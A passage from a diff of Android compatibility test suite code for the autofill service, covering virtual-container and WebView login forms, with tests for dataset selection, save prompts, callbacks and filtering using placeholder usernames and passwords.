+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.VirtualContainerActivity;
+import android.autofillservice.cts.activities.VirtualContainerView;
+import android.autofillservice.cts.activities.VirtualContainerView.Line;
+import android.autofillservice.cts.activities.VirtualContainerView.VisibilityIntegrationMode;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.graphics.Rect;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.text.InputType;
+import android.view.ViewGroup;
+import android.view.autofill.AutofillManager;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Test case for an activity containing virtual children, either using the explicit Autofill APIs
+ * or Compat mode.
+ */
+public class VirtualContainerActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<VirtualContainerActivity> {
+
+    // TODO(b/74256300): remove when fixed it :-)
+    private static final boolean BUG_74256300_FIXED = false;
+
+    private final boolean mCompatMode;
+    private AutofillActivityTestRule<VirtualContainerActivity> mActivityRule;
+    protected VirtualContainerActivity mActivity;
+
+    public VirtualContainerActivityTest() {
+        this(false);
+    }
+
+    protected VirtualContainerActivityTest(boolean compatMode) {
+        mCompatMode = compatMode;
+    }
+
+    /**
+     * Hook for subclass to customize test before activity is created.
+     */
+    protected void preActivityCreated() {}
+
+    /**
+     * Hook for subclass to customize activity after it's launched.
+     */
+    protected void postActivityLaunched() {}
+
+    @Override
+    protected AutofillActivityTestRule<VirtualContainerActivity> getActivityRule() {
+        if (mActivityRule == null) {
+            mActivityRule = new AutofillActivityTestRule<VirtualContainerActivity>(
+                    VirtualContainerActivity.class) {
+                @Override
+                protected void beforeActivityLaunched() {
+                    preActivityCreated();
+                }
+
+                @Override
+                protected void afterActivityLaunched() {
+                    mActivity = getActivity();
+                    postActivityLaunched();
+                }
+            };
+
+        }
+        return mActivityRule;
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillSync() throws Exception {
+        autofillTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillSync() is enough")
+    public void testAutofillAsync() throws Exception {
+        skipTestOnCompatMode();
+
+        autofillTest(false);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_appContext() throws Exception {
+        mActivity.mCustomView.setAutofillManager(mActivity.getApplicationContext());
+        autofillTest(true);
+        // Validation check to make sure autofill is enabled in the application context
+        assertThat(mActivity.getApplicationContext().getSystemService(AutofillManager.class)
+                .isEnabled()).isTrue();
+    }
+
+    /**
+     * Focus to username and expect window event
+     */
+    void focusToUsername() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.mUsername.changeFocus(true));
+    }
+
+    /**
+     * Focus to username and expect no autofill window event
+     */
+    void focusToUsernameExpectNoWindowEvent() throws Throwable {
+        // TODO: should use waitForWindowChange() if we can filter out event of app Activity itself.
+        mActivityRule.runOnUiThread(() -> mActivity.mUsername.changeFocus(true));
+    }
+
+    /**
+     * Focus to password and expect window event
+     */
+    void focusToPassword() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.mPassword.changeFocus(true));
+    }
+
+    /**
+     * Focus to password and expect no autofill window event
+     */
+    void focusToPasswordExpectNoWindowEvent() throws Throwable {
+        // TODO should use waitForWindowChange() if we can filter out event of app Activity itself.
+        mActivityRule.runOnUiThread(() -> mActivity.mPassword.changeFocus(true));
+    }
+
+    /**
+     * Tests autofilling the virtual views, using the sync / async version of ViewStructure.addChild
+     */
+    private void autofillTest(boolean sync) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+        mActivity.mCustomView.setSync(sync);
+
+        // Trigger auto-fill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Play around with focus to make sure picker is properly drawn.
+        if (BUG_74256300_FIXED || !mCompatMode) {
+            focusToPassword();
+            assertDatasetShown(mActivity.mPassword, "SWEET");
+
+            focusToUsername();
+            assertDatasetShown(mActivity.mUsername, "DUDE");
+        }
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+        final ViewNode usernameLabel = findNodeByResourceId(request.structure, ID_USERNAME_LABEL);
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        final ViewNode passwordLabel = findNodeByResourceId(request.structure, ID_PASSWORD_LABEL);
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+
+        assertUrlBarIsSanitized(urlBar);
+        assertTextIsSanitized(username);
+        assertTextIsSanitized(password);
+        assertLabel(usernameLabel, "Username");
+        assertLabel(passwordLabel, "Password");
+
+        assertThat(usernameLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(username.getClassName()).isEqualTo(TEXT_CLASS);
+        assertThat(passwordLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(password.getClassName()).isEqualTo(TEXT_CLASS);
+
+        assertThat(username.getIdEntry()).isEqualTo(ID_USERNAME);
+        assertThat(password.getIdEntry()).isEqualTo(ID_PASSWORD);
+
+        assertThat(username.getInputType())
+                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
+        assertThat(usernameLabel.getInputType()).isEqualTo(0);
+        assertThat(password.getInputType())
+                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
+        assertThat(passwordLabel.getInputType()).isEqualTo(0);
+
+        final String[] autofillHints = username.getAutofillHints();
+        final boolean hasCompatModeFlag = (request.flags
+                & android.service.autofill.FillRequest.FLAG_COMPATIBILITY_MODE_REQUEST) != 0;
+        if (mCompatMode) {
+            assertThat(hasCompatModeFlag).isTrue();
+            assertThat(autofillHints).isNull();
+            assertThat(username.getHtmlInfo()).isNull();
+            assertThat(password.getHtmlInfo()).isNull();
+        } else {
+            assertThat(hasCompatModeFlag).isFalse();
+            // Make sure order is preserved and dupes not removed.
+            assertThat(autofillHints).asList()
+                    .containsExactly("c", "a", "a", "b", "a", "a")
+                    .inOrder();
+            try {
+                VirtualContainerView.assertHtmlInfo(username);
+                VirtualContainerView.assertHtmlInfo(password);
+            } catch (AssertionError | RuntimeException e) {
+                dumpStructure("HtmlInfo failed", request.structure);
+                throw e;
+            }
+        }
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(username.isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(password.isFocused()).isFalse();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillSync() is enough")
+    public void testAutofillTwoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+
+        // Play around with focus to make sure picker is properly drawn.
+        if (BUG_74256300_FIXED || !mCompatMode) {
+            focusToPassword();
+            assertDatasetShown(mActivity.mPassword, "The Dude", "THE DUDE");
+            focusToUsername();
+            assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+        }
+
+        // Auto-fill it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillOverrideDispatchProvideAutofillStructure() throws Exception {
+        mActivity.mCustomView.setOverrideDispatchProvideAutofillStructure(true);
+        autofillTest(true);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.requestAutofill(mActivity.mUsername);
+        sReplier.getNextFillRequest();
+
+        // Select datatest.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Trigger auto-fill.
+        mActivity.getSystemService(AutofillManager.class).requestAutofill(
+                mActivity.mCustomView, mActivity.mUsername.text.id,
+                mActivity.mUsername.getAbsCoordinates());
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        final UiObject2 picker = assertDatasetShown(mActivity.mUsername, "The Dude", "Jenny");
+        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+
+        // Change focus
+        focusToPassword();
+        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mPassword.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackDisabled() throws Throwable {
+        // Set service.
+        disableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasets() throws Throwable {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Throwable {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Autofill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+
+        // Make sure save is not triggered
+        mActivity.getAutofillManager().commit();
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveDialogNotShownWhenBackIsPressed() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        mUiBot.pressBack();
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_childViewsGone_notifyAfm() throws Throwable {
+        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_childViewsGone_updateView() throws Throwable {
+        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
+    }
+
+    @Test
+    @Ignore("Disabled until b/73493342 is fixed")
+    public void testSave_parentViewGone() throws Throwable {
+        saveTest(CommitType.PARENT_VIEW_GONE);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_appCallsCommit() throws Throwable {
+        saveTest(CommitType.EXPLICIT_COMMIT);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_submitButtonClicked() throws Throwable {
+        saveTest(CommitType.SUBMIT_BUTTON_CLICKED);
+    }
+
+    enum CommitType {
+        CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API,
+        CHILDREN_VIEWS_GONE_IS_VISIBLE_API,
+        PARENT_VIEW_GONE,
+        EXPLICIT_COMMIT,
+        SUBMIT_BUTTON_CLICKED
+    }
+
+    private void saveTest(CommitType commitType) throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+
+        switch (commitType) {
+            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
+            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
+            case PARENT_VIEW_GONE:
+                response.setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE);
+                break;
+            case EXPLICIT_COMMIT:
+                // does nothing
+                break;
+            case SUBMIT_BUTTON_CLICKED:
+                response
+                    .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+                    .setSaveTriggerId(mActivity.mCustomView.mLoginButtonId);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + commitType);
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Trigger save.
+        switch (commitType) {
+            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
+                setViewsInvisible(VisibilityIntegrationMode.NOTIFY_AFM);
+                break;
+            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
+                setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
+                break;
+            case PARENT_VIEW_GONE:
+                mActivity.runOnUiThread(() -> {
+                    final ViewGroup parent = (ViewGroup) mActivity.mCustomView.getParent();
+                    parent.removeView(mActivity.mCustomView);
+                });
+                break;
+            case EXPLICIT_COMMIT:
+                mActivity.getAutofillManager().commit();
+                break;
+            case SUBMIT_BUTTON_CLICKED:
+                mActivity.mCustomView.clickLogin();
+                break;
+            default:
+                throw new IllegalArgumentException("unknown type: " + commitType);
+        }
+
+        // Assert UI is showing.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+
+        assertTextAndValue(username, "foo");
+        assertTextAndValue(password, "bar");
+    }
+
+    protected void setViewsInvisible(VisibilityIntegrationMode mode) {
+        mActivity.mUsername.setVisibilityIntegrationMode(mode);
+        mActivity.mPassword.setVisibilityIntegrationMode(mode);
+        mActivity.mUsername.changeVisibility(false);
+        mActivity.mPassword.changeVisibility(false);
+    }
+
+    // NOTE: tests where save is not shown only makes sense when calling commit() explicitly,
+    // otherwise the test could pass but the UI is still shown *after* the app is committed.
+    // We could still test them by explicitly committing and then checking that the Save UI is not
+    // shown again, but then we wouldn't be effectively testing that the context was committed
+
+    @Presubmit
+    @Test
+    public void testSaveNotShown_noUserInput() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_initialValues_noUserInput() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_initialValues_noUserInput_serviceDatasets() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_userInputMatchesDatasets() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "foo")
+                        .setField(ID_PASSWORD, "bar")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetFiltering() throws Throwable {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(createPresentation(aa))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(createPresentation(ab))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(createPresentation(b))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        assertDatasetShown(mActivity.mUsername, aa, ab, b);
+
+        // Only two datasets start with 'a'
+        mActivity.mUsername.setText("a");
+        assertDatasetShown(mActivity.mUsername, aa, ab);
+
+        // Only one dataset start with 'aa'
+        mActivity.mUsername.setText("aa");
+        assertDatasetShown(mActivity.mUsername, aa);
+
+        // Only two datasets start with 'a'
+        mActivity.mUsername.setText("a");
+        assertDatasetShown(mActivity.mUsername, aa, ab);
+
+        // With no filter text all datasets should be shown
+        mActivity.mUsername.setText("");
+        assertDatasetShown(mActivity.mUsername, aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        mActivity.mUsername.setText("aaa");
+        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+        mUiBot.assertNoDatasets();
+    }
+
+    /**
+     * Asserts the dataset picker is properly displayed in a give line.
+     */
+    protected UiObject2 assertDatasetShown(Line line, String... expectedDatasets)
+            throws Exception {
+        boolean autofillViewBoundsMatches = !Helper.isAutofillWindowFullScreen(mContext);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets(expectedDatasets);
+        final Rect pickerBounds = datasetPicker.getVisibleBounds();
+        final Rect fieldBounds = line.getAbsCoordinates();
+        if (autofillViewBoundsMatches) {
+            assertWithMessage("vertical coordinates don't match; picker=%s, field=%s", pickerBounds,
+                    fieldBounds).that(pickerBounds.top).isEqualTo(fieldBounds.bottom);
+            assertWithMessage("horizontal coordinates don't match; picker=%s, field=%s",
+                    pickerBounds, fieldBounds).that(pickerBounds.left).isEqualTo(fieldBounds.left);
+        }
+        return datasetPicker;
+    }
+
+    protected void assertLabel(ViewNode node, String expectedValue) {
+        if (mCompatMode) {
+            // Compat mode doesn't set AutofillValue of non-editable fields
+            assertTextOnly(node, expectedValue);
+        } else {
+            assertTextAndValue(node, expectedValue);
+        }
+    }
+
+    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
+        assertTextIsSanitized(urlBar);
+        assertThat(urlBar.getWebDomain()).isNull();
+        assertThat(urlBar.getWebScheme()).isNull();
+    }
+
+
+    private void skipTestOnCompatMode() {
+        assumeTrue("test not applicable when on compat mode", !mCompatMode);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
new file mode 100644
index 0000000..00215ba
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.activities.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.activities.WebViewActivity.ID_OUTSIDE2;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.IdMode;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class WebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
+
+    private static final String TAG = "WebViewActivityTest";
+
+    private WebViewActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+
+            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+            // disable autofill for optimization when it returns false, and unfortunately the value
+            // returned by that method does not change when the service is enabled / disabled, so we
+            // need to start enable the service before launching the activity.
+            // Once that's fixed, remove this overridden method.
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillOneDataset() is enough")
+    public void testAutofillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAutofillOneDataset() throws Exception {
+        autofillOneDatasetTest(false);
+    }
+
+    @Ignore("blocked on b/74793485")
+    @Test
+    @AppModeFull(reason = "testAutofillOneDataset() is enough")
+    public void testAutofillOneDataset_usingAppContext() throws Exception {
+        autofillOneDatasetTest(true);
+    }
+
+    private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.addResponse(new CannedDataset.Builder()
